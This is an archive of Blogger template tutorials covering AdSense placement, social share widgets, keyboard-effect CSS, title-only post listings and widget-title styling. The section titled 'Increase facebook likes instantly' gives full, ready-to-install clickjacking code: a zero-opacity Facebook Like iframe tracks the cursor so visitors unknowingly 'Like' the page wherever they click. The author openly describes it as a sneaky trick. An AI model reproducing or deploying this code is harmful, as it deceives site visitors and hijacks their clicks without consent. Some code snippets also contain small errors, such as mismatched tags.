Adsense besides Add this sharing social widget below post title for blogger

Aloha! today I will share to you some Adsense techniques that will help you earn more money. One of the best way to put your Adsense ads is putting it below post titles, but in this lesson we will add more, we add "add this" social sharing widget next to your Adsense ads. I found this trick on www.abctrick.net.

Before we begin the installation, I need you to go to your Adsense account and create a new 300x250 blocks ads that will perfectly blend with your template. After creating your new ads, save and get code, then copy and paste the code on this HTML parser.

Installation

1. Log into your blogger account> dashboard> click edit HTML (make sure you back up your template in case you made some mistakes)> click on expand widgets.

2. Now find this code ]]></b:skin> then copy and paste the below codes just above it. 

/* Adsense below post title with Addthis and Social Badges by abctrick.net */ .boxround { margin : 0 auto; padding : 10px;border : 1px solid #ccc; -moz-border-radius-topright:10px; -moz-border-radius-bottomleft:10px; -webkit-border-top-right-radius:10px; -webkit-border-bottom-left-radius:10px; border-radius-topright:10px; border-radius-bottomleft:10px; } #addthis-left { float : left; } .addthis_toolbox .vertical { float : left; width : 215px; padding-left : 5px; min-height : 185px; position : relative; } .addthis_toolbox .vertical a { position : relative; display : block; width : 150px; padding : 4px 0 4px 34px; text-decoration : none; color : #626262; transition: color .2s ease-in-out; -moz-transition: color .2s ease-in-out; -webkit-transition: color .2s ease-in-out; -o-transition: color .2s ease-in-out; } .addthis_toolbox .vertical a:hover { color : #8f8f8f; text-decoration : none; border-radius: 4px; -moz-border-radius: 4px; -webkit-border-radius: 4px; } .addthis_toolbox .vertical1 { float : left; width : 215px; min-height : 185px; position : relative; } .addthis_toolbox .vertical1 a { position : relative; display : block; width : 150px; padding : 4px 0 4px 15px; text-decoration : none; color : #626262; transition: color .2s ease-in-out; -moz-transition: color .2s ease-in-out; -webkit-transition: color .2s ease-in-out; -o-transition: color .2s ease-in-out; } .addthis_toolbox .vertical1 a:hover { color : #8f8f8f; text-decoration : none; border-radius: 4px; -moz-border-radius: 4px; -webkit-border-radius: 4px; } .addthis_toolbox .vertical1 .more { border-top : 1px solid #eee; padding : 2px 0 0 0; margin : 10px 10px 0 10px; text-align : center; } .addthis_toolbox .vertical span { position : absolute; left : 14px; top : 4px; } .addthis_toolbox .vertical .more { border-top : 1px solid #eee; padding : 2px 0 0 0; margin : 10px 10px 0 10px; text-align : center; } .addthis_toolbox .vertical .more a { padding : 0 0; margin : 0; } .addthis_toolbox .vertical .more a:hover { background : none; } .addthis_toolbox .vertical .more span { display : none; } .googleplus { padding-left : 15px; padding-top : 5px; padding-bottom : 3px; display : inline-block;


3.  Now, we will put jQuerry script as well as Google + and Twitter script on the template. Find the</head> tag and put the codes above it.

 <!-- Addthis jQuery - Remove if you already have this --> <script src='http://s7.addthis.com/js/250/addthis_widget.js' type='text/javascript'></script> <!-- Twitter Button jQuery - Remove if you already have this --> <script src='http://platform.twitter.com/widgets.js' type='text/javascript'></script> <!-- Google +1 Button jQuery - Remove if you already have this --> <script src='https://apis.google.com/js/plusone.js' type='text/javascript'>{lang: 'en'}</script>

4. Find this tag <div class='post-header-line-1'/> or <data:post.body/> and paste the codes below above it.

 <!-- Adsense below post title with Addthis and Social Badges by abctrick.net Starts --> <b:if cond='data:blog.pageType == "item"'><!-- Remove --> <div class='boxround'> <table border='0' cellpadding='0' cellspacing='0' width='98%'> <tr> <td width='330'>REPLACE THIS LINE WITH CONVERTED ADSENSE CODE </td> <td><div class='boxround-right-min'> <div class='addthis_toolbox'> <div class='vertical'> <div class='googleplus'> <g:plusone annotation='bubble' size='medium'/> <iframe allowTransparency='true' expr:src='"http://www.facebook.com/plugins/like.php?href=" + data:post.url + "&amp;send=false&amp;layout=button_count&amp;show_faces=false&amp;width=90&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=21"' frameborder='0' scrolling='no' style='border:none; overflow:hidden; width:90px; height:21px;'/> <br/> <a class='twitter-share-button' data-lang='en' href='https://twitter.com/share'>Tweet</a><br/> <a class='twitter-follow-button' data-lang='en' data-show-count='true' href='https://twitter.com/YOUR_TWITTER_USERNAME'>Follow @YOUR_TWITTER_USERNAME</a> </div> <a href='YOUR_GOOGLE_PLUS_URL' style='text-decoration:none; background-color:transparent!important; margin-left:-20px!important' target='_blank'><img alt='Adsense besides Add this sharing social widget below post title for blogger' src='https://ssl.gstatic.com/images/icons/gplus-16.png' style='border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; vertical-align: middle; border-left-width: 0px;'/> Follow On Google+</a> <a class='addthis_button_facebook'>Share On Facebook</a> <a class='addthis_button_stumbleupon'>Stumble This Post</a> <a class='addthis_button_reddit'>Submit On Reddit</a> <a class='addthis_button_email'>Email To A Friend</a> <div class='more'> <a class='addthis_button_expanded'>More Destinations</a> </div> </div> </div> </div></td> </tr> </table> </div> </b:if> <!-- Remove --> <!-- Adsense below post title with Addthis and Social Badges by abctrick.net Ends -->

Customize

• *Replace "REPLACE THIS LINE WITH CONVERTED ADSENSE CODE" with your parsed Adsense code. Remember to parse it first before putting it there.
• *Replace "YOUR_TWITTER_USERNAME" with your twitter username.
• *Replace "YOUR_GOOGLE_PLUS_URL" with your complete Google + profile URL.

SAVE TEMPLATE!

Read More

Insert Adsense Inside blogger post body

If you want to earn more through adsense, you need to put your ads where it is very visible. One of the best way to do that is inserting the ads inside your posts body because it will give you higher chance of click through rate and increase adsense earnings. 

I prefer a 300x250 medium rectangle or a 336x280 large rectangle ad unit to be wrapped inside your blog post. In this trick, your ads will be appearing just like an image in a blog post. Just follow these simple steps and don't forget to back up your template in case you made some mistakes.

Installation

1. Log in to your adsense account and create a 300x250 ad unit or a 336x280 large rectangle ad unit, then save and get codes

2. Copy and paste the generated code below to parse it.
  

	Post-Code: code converter
	Gadgets powered by Google

3. Click on convert.

4. Go to your blogger dashboard > edit template > tick on expand widgets

5. Find this code using CTRL+F <data:post.body/> (Note: some templates has more than 1 of this code, just try them all in case it doesn't work)

6. Just above it paste this code

 <b:if cond="data:blog.pageType == &quot;item&quot;">
<div style="float: left; padding: 5px; margin: 5px;">
PARSED ADSENSE CODE
</div>
</b:if>

7. Replace " PARSED ADSENSE CODE " with your own parsed adsense code.

Save template!

Note

Now your adsense can now be seen wrapped around your blogger post on the left side. But those ads won't appear on your home page and will only be visible if you click on your blog posts. This trick can save you ad space on your sidebar.

But I will not advice to use this trick if you are using pictures or images at the beginning of your blog posts because it will violate Google adsense terms of service

+Kshitij Wagle 

Read More

Keyboard effect on blogger post

A blog design is very important, if you have a beautiful template and unique designs, then your blog post should be beautiful too. Today I will share to you how to make a keyboard effect on your blog post. This is CSS consist of no image and will not affect your blog speed. Lets begin the tutorial shall we.

Lets view the Demo first:


ALT + F4 

CTRL + ALT + DELETE

KEYBOARD


Installation

1. Go to blogger dashboard > layout > edit HTML.

2. Find this code using CTRL + F   ]]></b:skin>

3. Paste the code below above it

/***************************************** Keyboard Style CSS ******************************************/ kbd{ border:1px solid gray; font-size:1.2em; box-shadow:1px 0 1px 0 #eee, 0 2px 0 2px #ccc, 0 2px 0 3px #444; -webkit-border-radius:3px; -moz-border-radius:3px; border-radius:3px; margin:2px 3px; padding:1px 5px; }

 4. Save template!


Using it on blogger post

If you want to use it on your blog posts just follow these simple steps.

• Go to your blog posts, you can either create new or edit existing posts.
• Click HTML besides the compose button.
• Use the <kbd> </kbd> tag when you want to use the keyboard effect.

Example:

<kbd> I LIKE YOU </h2>

         I LIKE YOU


That's it! I hope you enjoy this trick! thank you for reading!

Read More

Display post title only on blogger

If you have a lot of posts in your blog then maybe its time to reorganize them by using display post title on blogger labels or on homepage. This trick will only show title post of your blog and will save time for visitors browsing your articles.

Instruction for this trick is easy, just follow the instructions below and make sure you backed up your template before proceeding.

Display post title only on blogger label

1. Log in to your blogger account > go to layout > edit HTML > click expand widget

2. Search this code using CTRL+F <b:include data='post' name='post'/> and replace it with the following codes below

 <!-- Display post title only Start-->
<b:if cond='data:blog.homepageUrl
!= data:blog.url'>
<b:if cond='data:blog.pageType != "item"'>
<h3 class='post-title'><a expr:href='data:post.url'><data:post.title/></a></h3>
<b:else/>
<b:include data='post' name='post'/>
</b:if>
<b:else/>
<b:include data='post' name='post'/>
</b:if>
<!-- Display post title only End http://fromhobby2money.blogspot.com -->

3. Preview your template to check if there is no error then click SAVE.

Display post title only on blogger home page

If you want this trick to appear on your home page just follow the instructions below. I found this to be useful if you are planning to put more than 10 posts on your home page so that visitors can easily see the whole view of your current posts.

1. Go to your blog layout > edit HTML >click on expand widget

2. Find this code using CTRL+F <p><data:post.body/></p> and replace it with the codes below.

 <b:if cond='data:blog.pageType == "item"'>
<p><data:post.body/></p>
</b:if

If you want to use this trick on your blog archives only just follow the steps above, but instead use this code to replace it.

<b:if cond='data:blog.pageType == "index"'>
<p><data:post.body/></p>
</b:if>

Note-If you are using read more hack in your blogger you will get above red line twice. So replace only the line that appears first in your blog html code and leave second one as it is.

There you go! if you have questions kindly leave a comment below of this post.

Read More

Increase facebook likes instantly

Do you have a problem increasing your facebook likes?, then do not worry if you have low facebook likes it doesn't mean your blog site sucks, some people are just lazy clicking the like button even though they like your site. And because of that I will share to you a sneaky trick to let your visitors like your site instantly.

But before that I will show you something, a funny yet true illustrations about why some people get so many likes and some don't.

As you can see on the left and right, those girls with weird eyes wears a different outfit. On the right has many likes, friend request and notifications on the other, has only one notification.

In my observation 90% of those who like on the right side are male, because men love bikinis and those on the right... well she probably just receive a game invitation request.

This happened to me many times, I posted a joke and only 1 person liked it, then a girl friend of mine who is actually hot shared it, she got more than a 100 likes, 30+ friend request and a lot of comment. If I am some hot chick wearing short skirt wearing kinky dresses in my blog post author biography and blogging the same topic, then I would probably have tons of likes and comments. 

Anyway, lets go back to the main topic. Now I will share to you the sneaky trick to increase your facebook likes instantly. It is sneaky because when you install this trick, it lets your visitors like your site wherever they click on your blog. The reason for that is there is an invisible click button that follow your mouse cursor.

Installation

1. As usual go to your blogger template

2. Edit HTML and click on expand widget. Make sure your backed up your template in case you made some mistakes editing.

3. Search for this code using CTRL+F </head> and paste the below script above it.

 <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
}
function ClickJackFbShow(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
}
</script>

 4. Now search for the </body> tag and paste the code below above it.

 <div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hider();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouseout(function(){ClickJackFbShow();});
jQuery("textarea").mouseout(function(){ClickJackFbShow();});
jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseover(function(){ClickJackFbHide();});
jQuery("a").mouseover(function(){ClickJackFbHide();});
jQuery("button").mouseover(function(){ClickJackFbHide();});
jQuery("textarea").mouseover(function(){ClickJackFbHide();});
jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>

5.  Just replace Fanpage URL Link with your own facebook fan page URL address. Then hit SAVE template. Refresh your page and you will notice something different about your mouse cursor.


NOTE: this trick will affect your blog when selecting or highlighting text, you cannot copy or paste a text or word if you apply this trick. And also it might affect your blog widget acting weird but if there is no problem you can proceed.

+Kshitij Wagle 

Read More

Customize your blogger widget title

Good day people of planet earth! During this past week I made some changes in some of my blog and I notice a blogger widget title doesn't seem to fit on my designs, that is why I usually leave it blank.

But now we can edit those widgets, by using its unique widget ID, this trick will allow you to change the color background, font color, size and even the font style of your widget title.

The steps are simple just follow the instructions and you can see good results on your blogger template. I will share how to find the the unique blogger widget ID and how to use it to style your blogger title widget.

Here is how

Before we customize our sidebar, let us first look for the ID name of your widget.

Find unique widget ID

1. Log into your blogger.com account select a blog of your choice then preview your blog. You will see a wrench icon on your blog or the blogger edit key just like this one

2. Point your mouse cursor on that image and use right click, then click on copy link address and paste it on a notepad, because we will use them later.

This is a sample on one of my widget, the link address usually look like this

http://www.blogger.com/rearrange?blogID=4286932960589248134&widgetType=HTML&widgetId=HTML16&action=editWidget&sectionId=sidebar

HTML16 is the unique widget ID so keep that in mind. HTML/ Javascripts ID are usually named HTML1, HTML2, and so on. These ID's are sensitive so use them as they are.

Customize your title widget

Now lets go customize your widget and make sure your backed up your template before proceeding in case you made some mistakes.

1. Lets use an example, I will use my "popular post" widget. Its link address will look like this one.


http://www.blogger.com/rearrange?blogID=4286932960589248134&widgetType=PopularPosts&widgetId=PopularPosts1&action=editWidget&sectionId=sidebar


2.  Open your blog template > edit HTML > use CTRL+F and look for this code ]]></b:skin> and copy the code below and paste the copied code above ]]></b:skin>.

#ID h2{
background:#575656;
margin:10px 0 10px 0;
padding:8px 0 8px 10px;
font-size:12px;
font-family: Sans-serif, Arial, Helvetica;
font-weight:bold;
text-transform:uppercase;
color:#ffffff; text-shadow:0 1px 0 #fff;
}

CUSTOMIZE

• Replace "ID" with your very own widget ID, based on our sample it will be replaced by PopularPosts1.
• #575656 is the background color, you can change them to any color you want using this color code generator. 
• 12 is the default font size but you can change them to any size you want.
• #ffffff is the font color, change them to any color using the color code generator.

3. Hit SAVE and you are all done!

Just repeat the steps for the rest of your widget its very simple most of the time you just copy and paste. 

I hope you liked it, don't forget to share! 

Cheers!

+Kshitij Wagle 

Read More